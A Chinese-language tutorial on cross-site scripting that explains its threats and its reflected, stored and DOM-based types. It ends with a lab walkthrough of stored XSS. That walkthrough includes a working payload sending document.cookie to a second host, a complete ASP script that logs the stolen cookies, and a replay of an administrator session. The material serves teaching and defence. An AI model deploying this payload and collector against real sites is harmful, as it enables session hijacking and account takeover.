XSS 跨站脚本攻击
XSS 跨站脚本攻击
- XSS (cross site scripting) 跨站脚本,一般利用恶意的数据(通常是使用javascript 代码填充到htm 冲)嵌入到你的应用程序的HTML 文本中,然后浏览器解析html ,执行注入的java script 代码。XSS 的实质其实是HTM L 代码与Javscript 代码的注入。
- 但由于XSS 的攻击对象是与客户对等的Browser端 , 因此常常不被开发者所重视。
1 XSS 跨站脚本利用与威胁
- 盗取用户cookie, 伪造用户身份登录。
- 控制用户浏览器。
- 结合浏览器及其插件漏洞,下载病毒木马到浏览者的计算机上执行。
- 衍生URL 跳转漏洞。
- 让官方网站出现钓鱼页面。
- 蠕虫攻击
2 XSS盗取用户cookie 劫持会话案例
通过xss攻击,攻击者可以窃取网页访问者保存在终端的各种账号信息,并且可以通过脚本盗取用户的cookie,劫持用户与web服务器的会话
3 xss的分类
反射型XSS :
-
应用程序或API包括未经验证和未经转义的用户输入,作为HTML 输出的一部分。不借助数据库
-
通常,用户将需要与指向攻击者控制页面的某些恶意链接进行交互,例如恶意漏洞网站,广告或类似内容。
- 反射式XSS关踺
在于攻击者需要构造一个能够触发脚本运行的URL , 并诱骗受害者点击这个URL,受害者点击之后,服务器就会响应并注入脚本到客户端的浏览器。 - 反射性XSS出现位置:搜索框、用户登录、通过URL传递参数的链接,都要检测
存储型XSS :
- 存储型XSS ,顾名思义便是恶意参数被存储起来了,通常存储在后端服务器当中,存储型XSS 一般被认为是高危或严重的风险。
- 存储型XSS 的关键:
攻击者提交给web 的恶意数据被永久的保存在服务器( 常见数据库或文件系统等)。当有用户访问需要获取该数据时, 数据未做任何编码就输出到客户端浏览器并被触发执行。
- 存储型XSS 的特点
相对反射式漏洞而言,存储式漏洞的关键在于将脚本注入到应用程序的数据库而对受害者来说,只要浏览的页面调用了数据库的内容,就会触发服务器的脚本注入到客户端,而用户去访问调用数据库中脚本的过程, 往往是主动的, 无须诱骗。
DOM Based XSS
-
与反射型XSS 、存储型XSS的区别就在于xss代码并不需要服务器解析响应的直接参与, 触发XSS靠的是浏览器端的DOM 解析。
这里,程序通过document.URL直接处理接收到的name值
4 存储型xss漏洞案例演示
1.在8006服务器上发布一个二手商品信息,并嵌入以下脚本<script>alert("你的cookie都丢了")</script>
2. 发布成功后点击商品链接,弹出对话框
3. 查看网页源代码,脚本直接输入到html页面
4. 开启burp抓包,网站重新登录后。包中cookie信息中含有sessionid
5. 把含有以下脚本的商品信息发布出去
<script>document.location='http://192.168.119.251:8007/xss_savacookie.asp?xcookie='+document.cookie</script>
此脚本用于盗取cookie信息并发送到8007的服务器上。8007服务器上有一个名为XSS_savecookie.asp的脚本用于自动接收跨站脚本截取到的Cookie信息,保存于cookie_xss.txt文件中。
XSS_savecookie.asp如下:
<font size="4" color="#FF0000"><b>自动接收跨站脚本截取到的Cookie信息,保存于cookie_xss.txt文件中。</b> </font> <% dim XCookie,StrCookieText,strLogFile,XUser strLogFile="cookie_xss.txt" XCookie=request("xcookie") XUser=request("user") if XCookie="" then response.write "cookie信息为空!" response.end End If StrCookieText=StrCookieText&"Cookie值为:----"&XCookie&" user="&XUser&"----"&request.servervariables("REMOTE_HOST") StrCookieText=StrCookieText&" "&date&" "&time set f=Server.CreateObject("scripting.filesystemobject") set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0) ff.writeline(chr(13)+chr(10)&StrCookieText) ff.close set ff=nothing set f=nothing response.write "<br><br>提示:此脚本仅限测试!" %>
6. 以另一个身份登录8006网站(假设为管理员),点击含有脚本的商品链接后,跳转到这个页面
7. 打开8007服务器目录,看到目录下已经生成了一个名为“cookie_xss.txt”的文件
8. 复制截取到的Cookie信息,重放登录成功